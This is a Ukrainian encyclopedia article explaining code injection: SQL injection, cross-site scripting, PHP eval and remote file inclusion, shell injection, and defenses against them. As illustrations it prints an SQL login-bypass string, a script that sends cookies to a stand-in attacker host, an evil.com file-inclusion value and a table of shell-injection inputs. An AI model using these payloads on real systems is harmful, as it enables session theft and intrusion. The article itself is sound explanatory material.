Включення коду
Включення коду — це використання програмних помилок для обробки невірних даних. Включення коду може бути використане зловмисником для введення (включення) коду в комп'ютерну програму, щоб змінити хід її виконання. Наприклад, включення коду використовується для поширення комп'ютерних хробаків.
Включення коду трапляється тоді, коли програма надсилає неперевірені дані інтерпретатору. Недоліки включення коду дуже поширені в унаслідуваному коді. Вони часто трапляються у SQL, LDAP, Xpath, або NoSQL запитах; командах операційної системи; синтаксичних аналізаторах XML, заголовках STMP, аргументах програми. Включення коду легко виявити при перегляді коду, проте його дуже важко виявити тестуванням. Сканери та фузери допомагають зловмисникам виявляти вразливості включення коду.[1]
Включення коду може призвести до пошкодження чи втрати даних, відсутності звітності або відмови в доступі. Інколи включення коду може призвести навіть до зміни хосту.
Деякі типи включення коду призводять до помилок інтерпретації, надаючи спеціальне значення простому вводу користувача. Це чимось схоже на нездатність розрізняти імена і звичайні слова. За тим же принципом в деяких видах вставленого коду важко розрізнити ввід користувача і системні команди.
Техніка включення коду є поширеною при та зломі з метою отримання інформації, отриманні привілейованого або анонімного доступу до системи. Включення коду можна використовувати у зловмисних цілях, зокрема:
- Довільно змінювати вміст бази даних через так звані SQL інєкції. Наслідком може бути як порушення роботи сайту, так і компрометація конфіденційних даних.
- Встановлення шкідливих програм або виконання шкідливого коду на сервері через включення скрипт коду сервера(наприклад PHP чи ASP).
- Отримання доступу до кореневої папки використовуючи вразливості включення Shell.
- Атаки інтернет-користувачів за допомогою включення HTML/Script (міжсайтовий скриптинг).
Інколи включення коду можуть використовувати з хорошою метою. Наприклад, використовуючи включення коду можна обманути систему, і змусити її поводитися певним чином без злого наміру.[2][3] Наприклад, завдяки включенню коду можна:
- Ввести нову корисну колонку на сторінці пошуку, якої немає в стандартному дизайні.
- Надати можливість сортувати, впорядковувати, або групувати дані, використовуючи поля, які відсутні в стандартних функціях.
- Для програм як Dropbox, додавати спеціальні модулі, які можна використовувати для підключення до онлайн ресурсів з офлайнової програми.
Користувачі можуть і не знати, що вони роблять включення коду, бо їхній ввід не був врахований розробниками системи. Наприклад:
- Коректні вхідні дані(на думку користувача) можуть містити марковані символи, або слова, що були зарезервовані програмістом для певних значень (це може бути символ "&" в назві компанії або символ лапок).
- Користувач може надіслати файл невірного формату як вхідні дані. І хоч цей файл працює коректно, він заразить системі, яка отримує файл.
Щоб запобігти проблемі включення коду, використовуйте обробку безпечного вводу/виводу, до якого належать:
- Використання API, яке дасть змогу безпечно опрацювати всі вхідні символи (при правильному використанні). Параметризовані запити дозволяють інтерпретувати переміщені зі стрічки дані користувача.
- Забезпечення мовного поділу використовуючи систему типізації.[4]
- Перевірка вхідних даних, приймаючи лише визначений список валідних даних.
- Використання вхідного кодування.Наприклад в PHP, використання функції
htmlspecialchars()
(перетворює теги HTML в їх еквівалент в стандарті ISO-8859-1) чи функціяstrip_tags()
(видаляє теги HTML) для безпечного виводу тексту в HTML, іmysql_real_escape_string(), щоб
ізолювати дані, які будуть включені в SQL запит, для захисту від SQL ін'єкцій. - Використання вихідного кодування, наприклад захист від міжсайтового скриптингу.
- Модульна оболонка дисоціації від ядра
Усі поради вище стосуються в основному включення коду при роботі з вебаплікаціями. Однак для роботи з включенням коду на комп'ютері користувача використовується дещо інший підхід.
- Хеш-валідація зображення під час виконання — захопити хеш всього зображення або його частини під час виконання завантаження і порівнювати його зі збереженим і очікуваним хешем
- NX біт — всі дані користувача зберігаються в спеціальній ділянці пам'яті, яка має мітку, що ці дані не можна інтерпретувати як вихідний код. Процесор повідомлений, що в цій ділянці пам'яті немає виконуваного коду, тому відмовиться працювати з цими даними як з вихідним кодом.
SQL ін'єкція використовує переваги синтаксису SQL для включення команд, які можуть читати чи змінювати базу даних або змінити значення оригінального запиту.
Для прикладу, розглянемо вебсторінку, що має два поля для введення імені користувача і пароля. Насправді код сторінки згенерує SQL запит, щоб перевірити існує такий користувач і чи належний пароль він ввів:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
Якщо запит повертає рядки, от доступ надається. Однак, якщо зловмисник введе валідне ім'я користувача і валідний код ("password' OR '1'='1"
) в поле "Password", тоді запит буде мати вигляд:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
В цьому прикладі, припускається, то поле "Password" є пусте або містить нешкідливий рядок символів. Вираз '1'='1'
завжди буде істинним, тому багато рядків повернуться, тим самим надаючи доступ.
Ця техніка може бути вдосконалена, дозволяючи, наприклад, записувати декілька виразів або навіть завантажувати й запускати зовнішні програми.
Вебсервер має скрипт для гостьової книги, який приймає невеликі повідомлення від користувача, як правило отримуючи такі повідомлення
Чудовий сайт!
Однак, зловмисники можуть використати вразливість гостьової книги і скориставшись включенням коду залишити наступне повідомлення
Nice site, I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>
Якщо інший користувач переглядатиме ту ж сторінку, включений код виконається. Код зверху дозволяє зловмиснику видавати себе за іншого користувача. Щоправда, ця ж програмна вразливість може бути викликана й абсолютно невинним користувачем, який ввів наступне повідомлення:
Попередній коментар, >:)
Включення HTML, або як його ще часто називають міжсайтовий скриптинг скриптів є доволі популярною темою. Він належить до помилок включення, коли ввід користувача потрапляє в вихідний HTML код, без перевірки чи це код, чи скрипт.
Багато з цих проблем пов'язані з помилковим припущенням які дані вважати допустимими, або є наслідком спеціальних даних.[5]
Стівен М.Крісті з Mitre Corporation запропонував це ім'я для групи вразливостей включення коду.
Вразливість включення коду при використанні функції eval проявляється тоді, коли зловмисник повністю або частково може контролювати аргументи, які передаються в виклик функціїeval()
.[6]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
Аргумент функції "eval
" оброблятимуться як в PHP. Наприклад якщо "arg" присвоїти "10; system('/bin/echo uh-oh')
", запуститься виконання додаткової програми на сервері, в такому випадку"/bin/echo
".
PHP дозволяє серіалізувати й десеріалізовувати цілі об'єкти. Якщо в функцію десіреалізації передати неперевірені дані, то таким чином можна переписати існуючі класи й виконати шкідливі дії.[7]
Розглянемо таку PHP програму (вона містить файл визначений запитом):
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
Цей код може опрацьовувати файли типу blue.php і red.php. Але зловмисники можуть задати COLOR=http://evil.com/exploit змусивши PHP завантажити зовнішній файл.
Shell ін'єкції названі так завдяки командній оболонці Linux, але це стосується всіх операційних систем, які дозволяють запуск програм з командного рядка. Типові функції, пов'язані з shell ін'єкціями:system()
[Архівовано 24 грудня 2021 у Wayback Machine.], StartProcess()
, і System.
[Архівовано 6 січня 2018 у Wayback Machine.]Diagnostics.Process.
[Архівовано 6 січня 2018 у Wayback Machine.]Start()
[Архівовано 6 січня 2018 у Wayback Machine.].
Розглянемо таку PHP програму, яка запускає зовнішню програму funnytext, щоб
замінити слово надіслане користувачем на інше слово.
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>
Ця програма може бути включена різними способами, використовуючи синтаксис різних функцій оболонки (це не повний перелік можливих варіантів):[8]
Shell feature | USER_INPUT value
|
Resulting shell command | Explanation |
---|---|---|---|
Послідовне виконання | ;
|
/bin/funnytext ; шкідлива_команда
|
Виконується funnytext , тоді виконується malicious_command .
|
Конвеєр | |
|
/bin/funnytext | шкідлива_команда
|
Посилає вивідfunnytext як вхідні дані для malicious_command .
|
Заміна команди | `
|
/bin/funnytext `шкідлива_команда`
|
Посилає вивід malicious_command як аргументи для funnytext .
|
Заміна команди | $(
|
/bin/funnytext $(шкідлива_команда)
|
Посилає вивід malicious_command як аргументи для funnytext .
|
Логічний вираз | &&
|
/bin/funnytext && шкідлива_команда
|
Виконуєтьсяmalicious_command iff funnytext повертає стан завершення 0 (успішно).
|
Логічний вираз | ||
|
/bin/funnytext || шкідлива_команда
|
Виконуєтьсяmalicious_command iff funnytext повертає ненульовий стан завершення (помилка).
|
Перенаправлення виводу | > ~/.bashrc
|
/bin/funnytext > ~/.bashrc
|
Переписує у файл .bashrc вивід funnytext .
|
Перенаправлення вводу | < ~/.bashrc
|
/bin/funnytext < ~/.bashrc
|
Надсилає вміст файлу .bashrc як вхідні дані дляfunnytext .
|
Деякі мови програмування мають функції для правильного завершення або оцінки стрічок, які використовуються для побудови команд оболонки:
Однак, це не знімає з програміста відповідальності за знання і використання цих функцій. Окрім використання цих функцій також рекомендується валідація і зачистка вводу користувача.
Безпечнішою альтернативою є використання API які виконують зовнішні програми напряму, а не через оболонку, унеможливлюючи тим самим включення в неї. Однак, API не підтримують багатьох зручних функцій оболонок, і їх синтаксис громіздкий в порівнянні з лаконічним синтаксисом оболонки.
- ↑ OWASP Top 10 2013 A1: Injection Flaws. OWASP. Архів оригіналу за 28 січня 2016. Процитовано 19 грудня 2013.
- ↑ Srinivasan, Raghunathan. Towards More Effective Virus Detectors (PDF). Arizona State University. Архів оригіналу (PDF) за 29 липня 2010. Процитовано 18 вересня 2010.
Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
- ↑ Symptoms-Based Detection of Bot Processes ]J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
- ↑ Архівована копія. Архів оригіналу за 6 серпня 2013. Процитовано 3 червня 2015.
{{cite web}}
: Обслуговування CS1: Сторінки з текстом «archived copy» як значення параметру title (посилання) - ↑ Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. с. 254. ISBN 978-0-596-51483-9.
- ↑ Christey, Steven M. (3 травня 2006). Dynamic Evaluation Vulnerabilities in PHP applications. Insecure.org. Процитовано 17 листопада 2008.
- ↑ Unserialize function warnings. PHP.net. Архів оригіналу за 9 травня 2015. Процитовано 3 червня 2015.
- ↑ Архівована копія. Архів оригіналу за 27 лютого 2015. Процитовано 3 червня 2015.
{{cite web}}
: Обслуговування CS1: Сторінки з текстом «archived copy» як значення параметру title (посилання)
- Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
- Article "Inject your code to a Portable Executable file" by A. Danehkar
- Article "Injective Code inside Import Table" by A. Danehkar
- Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
- News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
- The Daily WTF [Архівовано 11 грудня 2020 у Wayback Machine.] regularly reports real-world incidences of susceptibility to code injection in software.